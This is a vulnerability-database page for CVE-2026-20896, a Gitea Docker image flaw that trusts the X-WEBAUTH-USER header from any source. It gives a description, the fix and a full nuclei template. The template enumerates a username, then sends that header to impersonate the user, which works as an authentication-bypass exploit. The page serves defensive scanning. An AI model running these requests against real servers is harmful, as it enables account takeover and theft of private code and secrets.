HexBrain

Browse / CVEs / CVE-2026-20896

CVE-2026-20896· gitea / gitea· CWE-290

Gitea Docker Image <= 1.26.2 - Reverse Proxy Header Authentication Bypass

criticalseverity
9.8CVSS score
2.8%likelihood of exploitation, next 30 days
86%of all CVEs are less likely
Readycheck to confirm it

The official Gitea Docker image through version 1.26.2 ships with REVERSE_PROXY_TRUSTED_PROXIES set to a wildcard, causing Gitea to trust reverse-proxy authentication headers (X-WEBAUTH-USER) from any source IP instead of restricting trust to the configured reverse proxy. When reverse-proxy authentication is enabled, an unauthenticated remote attacker can impersonate any existing user, including an administrator, by sending the target username in the X-WEBAUTH-USER header.

Impact

Unauthenticated attackers can impersonate any Gitea user, including administrators, gaining read access to all private repositories, the ability to inject SSH keys, extract CI/CD secrets, modify webhooks, and fully compromise the platform.

Fix

Upgrade the Gitea Docker image to version 1.26.3 or 1.26.4 or later, which restricts REVERSE_PROXY_TRUSTED_PROXIES to the intended internal proxy addresses.

How to confirm it

Send: GET /api/v1/version
Positive when: status_code == 200 and compare_versions(version, "<= 1.26.2")
Send: GET /api/v1/users/search?limit=1
Positive when: status_code == 200 and contains(body, "\"ok\":true") and len(victim) > 0
Send: GET /api/v1/user
Positive when: status_code == 401
Send: GET /api/v1/user
Positive when: status_code == 200 and contains(body, concat("\"login\":\"", victim, "\"")) and !contains(body, "token is required")

Run it with nuclei: nuclei -id CVE-2026-20896 -u <target>

The full check
id: CVE-2026-20896

info:
  name: Gitea Docker Image <= 1.26.2 - Reverse Proxy Header Authentication Bypass
  author: prithvee07,aryu-ru,rz1027
  severity: critical
  description: |
    The official Gitea Docker image through version 1.26.2 ships with REVERSE_PROXY_TRUSTED_PROXIES set to a wildcard, causing Gitea to trust reverse-proxy authentication headers (X-WEBAUTH-USER) from any source IP instead of restricting trust to the configured reverse proxy. When reverse-proxy authentication is enabled, an unauthenticated remote attacker can impersonate any existing user, including an administrator, by sending the target username in the X-WEBAUTH-USER header.
  impact: |
    Unauthenticated attackers can impersonate any Gitea user, including administrators, gaining read access to all private repositories, the ability to inject SSH keys, extract CI/CD secrets, modify webhooks, and fully compromise the platform.
  remediation: |
    Upgrade the Gitea Docker image to version 1.26.3 or 1.26.4 or later, which restricts REVERSE_PROXY_TRUSTED_PROXIES to the intended internal proxy addresses.
  reference:
    - https://github.com/go-gitea/gitea/security/advisories/GHSA-f75j-4cw6-rmx4
    - https://blog.gitea.com/release-of-1.26.3-and-1.26.4/
    - https://github.com/go-gitea/gitea/pull/38151
    - https://www.ionix.io/threat-center/cve-2026-20896/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-20896
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-20896
    epss-score: 0.02755
    epss-percentile: 0.86354
    cwe-id: CWE-290
  metadata:
    verified: true
    max-request: 4
    vendor: gitea
    product: gitea
    shodan-query: title:"Gitea"
    fofa-query: app="Gitea"
  tags: cve,cve2026,gitea,docker,auth-bypass,unauth,vkev

flow: http(1) && http(2) && http(3) && http(4)

http:
  - raw:
      - |
        GET /api/v1/version HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'compare_versions(version, "<= 1.26.2")'
        condition: and
        internal: true

    extractors:
      - type: json
        name: version
        json:
          - '.version'
        internal: true

  - raw:
      - |
        GET /api/v1/users/search?limit=1 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "\"ok\":true")'
          - 'len(victim) > 0'
        condition: and
        internal: true

    extractors:
      - type: json
        name: victim
        json:
          - '.data[0].login'
        internal: true

  - raw:
      - |
        GET /api/v1/user HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 401'
        internal: true

  - raw:
      - |
        GET /api/v1/user HTTP/1.1
        Host: {{Hostname}}
        X-WEBAUTH-USER: {{victim}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, concat("\"login\":\"", victim, "\""))'
          - '!contains(body, "token is required")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from